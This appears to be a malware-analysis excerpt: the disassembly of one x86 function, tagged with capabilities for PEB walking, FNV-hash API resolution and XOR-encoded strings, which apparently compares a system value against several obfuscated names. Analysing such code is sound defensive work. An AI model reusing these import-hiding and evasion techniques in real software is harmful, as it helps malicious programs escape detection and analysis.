Function at 0x408331
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x440
mov eax, dword [0x4c7080]
xor eax, esp
mov dword [esp + 0x43c], eax
mov eax, dword fs:[0x30]
push ebx
mov dword [esp + 4], 0x400
push ebp
mov eax, dword [eax + 0xc]
push esi
push edi
mov eax, dword [eax + 0xc]
mov edx, dword [eax + 0x18]
mov ecx, dword [edx + 0x3c]
mov ebp, dword [ecx + edx + 0x78]
add ebp, edx
cmp ebp, edx
je 0x4083bf
mov edi, dword [ebp + 0x18]
test edi, edi
je 0x4083bf
mov ecx, dword [ebp + 0x20]
lea ebx, [ecx + edi*4]
add ebx, edx
lea ebx, [ebx - 4]
mov ecx, 0x9bd71bbf
mov esi, dword [ebx]
dec edi
add esi, edx
mov dword [esp + 0x14], ecx
mov cl, byte [esi]
inc esi
test cl, cl
je 0x4083bb
mov edx, dword [esp + 0x14]
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [esi]
inc esi
test cl, cl
jne 0x408398
mov dword [esp + 0x14], edx
cmp dword [esp + 0x14], 0xda6d8cc
mov edx, dword [eax + 0x18]
je 0x4083c3
test edi, edi
jne 0x40837c
mov eax, dword [eax]
jmp 0x40835d
mov eax, dword [ebp + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [ebp + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
lea ecx, [esp + 0x10]
push ecx
lea ecx, [esp + 0x50]
add eax, edx
push ecx
call eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], 0xa0beb5a8
mov dword [esp + 0x18], 0x100b1b4
xor ebx, ebx
call fcn.00402e39
push 2
lea ecx, [esp + 0x50]
pop esi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x408424
test dl, dl
je 0x408420
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x408424
add ecx, esi
add eax, esi
test dl, dl
jne 0x408406
mov eax, ebx
jmp 0x408429
sbb eax, eax
or eax, 1
test eax, eax
je 0x408700
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], 0x9c999f85
mov dword [esp + 0x18], 0x9684fe
mov byte [esp + 0x1c], 1
call fcn.00405af8
lea ecx, [esp + 0x4c]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x408471
test dl, dl
je 0x40846d
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x408471
add ecx, esi
add eax, esi
test dl, dl
jne 0x408453
mov eax, ebx
jmp 0x408476
sbb eax, eax
or eax, 1
test eax, eax
je 0x408700
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], 0xb6bfb19c
mov dword [esp + 0x18], 0xadbbb1
mov byte [esp + 0x1c], 1
call fcn.00405af8
lea ecx, [esp + 0x4c]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x4084be
test dl, dl
je 0x4084ba
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x4084be
add ecx, esi
add eax, esi
test dl, dl
jne 0x4084a0
mov eax, ebx
jmp 0x4084c3
sbb eax, eax
or eax, 1
test eax, eax
je 0x408700
lea ecx, [esp + 0x24]
mov dword [esp + 0x24], 0xb6bfb1bc
mov dword [esp + 0x28], 0xaebab6f3
mov word [esp + 0x2c], 0x100
call fcn.004128c4
lea ecx, [esp + 0x24]
lea eax, [esp + 0x4c]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x408511
test dl, dl
je 0x40850d
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x408511
add eax, esi
add ecx, esi
test dl, dl
jne 0x4084f3
mov eax, ebx
jmp 0x408516
sbb eax, eax
or eax, 1
test eax, eax
je 0x408700
lea ecx, [esp + 0x30]
mov dword [esp + 0x30], 0xbcb9bf85
mov dword [esp + 0x34], 0xb3ba90f3
mov word [esp + 0x38], 0x100
call fcn.004128c4
lea ecx, [esp + 0x30]
lea eax, [esp + 0x4c]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x408564
test dl, dl
je 0x408560
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x408564
add eax, esi
add ecx, esi
test dl, dl
jne 0x408546
mov eax, ebx
jmp 0x408569
sbb eax, eax
or eax, 1
test eax, eax
je 0x408700
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], 0xa5bdb1a2
mov dword [esp + 0x18], 0xb0a6b2
mov byte [esp + 0x1c], 1
call fcn.00405af8
lea ecx, [esp + 0x4c]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x4085b1
test dl, dl
je 0x4085ad
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x4085b1
add ecx, esi
add eax, esi
test dl, dl
jne 0x408593
mov eax, ebx
jmp 0x4085b6
sbb eax, eax
or eax, 1
test eax, eax
je 0x408700
lea ecx, [esp + 0x3c]
mov dword [esp + 0x3c], 0xb7a5b59f
mov dword [esp + 0x40], 0xbf82f4a1
mov dword [esp + 0x44], 0xb4b6abbb
mov word [esp + 0x48], 0x100
call fcn.00412954
lea ecx, [esp + 0x3c]
lea eax, [esp + 0x4c]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40860c
test dl, dl
je 0x408608
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40860c
add eax, esi
add ecx, esi
test dl, dl
jne 0x4085ee
mov eax, ebx
jmp 0x408611
sbb eax, eax
or eax, 1
test eax, eax
je 0x408700
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], 0xa7a3b9b9
mov word [esp + 0x18], 0xa0
mov byte [esp + 0x1a], 1
call fcn.00405b5b
lea ecx, [esp + 0x4c]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x408658
test dl, dl
je 0x408654
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x408658
add ecx, esi
add eax, esi
test dl, dl
jne 0x40863a
mov eax, ebx
jmp 0x40865d
sbb eax, eax
or eax, 1
test eax, eax
je 0x408700
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], 0xa6bdb1a2
mov dword [esp + 0x18], 0xa1a7b6
mov byte [esp + 0x1c], 1
call fcn.00405af8
lea ecx, [esp + 0x4c]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x4086a5
test dl, dl
je 0x4086a1
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x4086a5
add ecx, esi
add eax, esi
test dl, dl
jne 0x408687
mov eax, ebx
jmp 0x4086aa
sbb eax, eax
or eax, 1
test eax, eax
je 0x408700
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], 0xa0a3a58c
mov dword [esp + 0x18], 0x83a1bab6
mov dword [esp + 0x1c], 0xabbda4
mov byte [esp + 0x20], 1
call fcn.00405ad7
lea ecx, [esp + 0x4c]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x4086f4
test dl, dl
je 0x4086f9
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x4086f4
add ecx, esi
add eax, esi
test dl, dl
jne 0x4086d8
jmp 0x4086f9
sbb ebx, ebx
or ebx, 1
test ebx, ebx
sete al
jmp 0x408702
mov al, 1
mov ecx, dword [esp + 0x44c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0046be79
add esp, 0x440
ret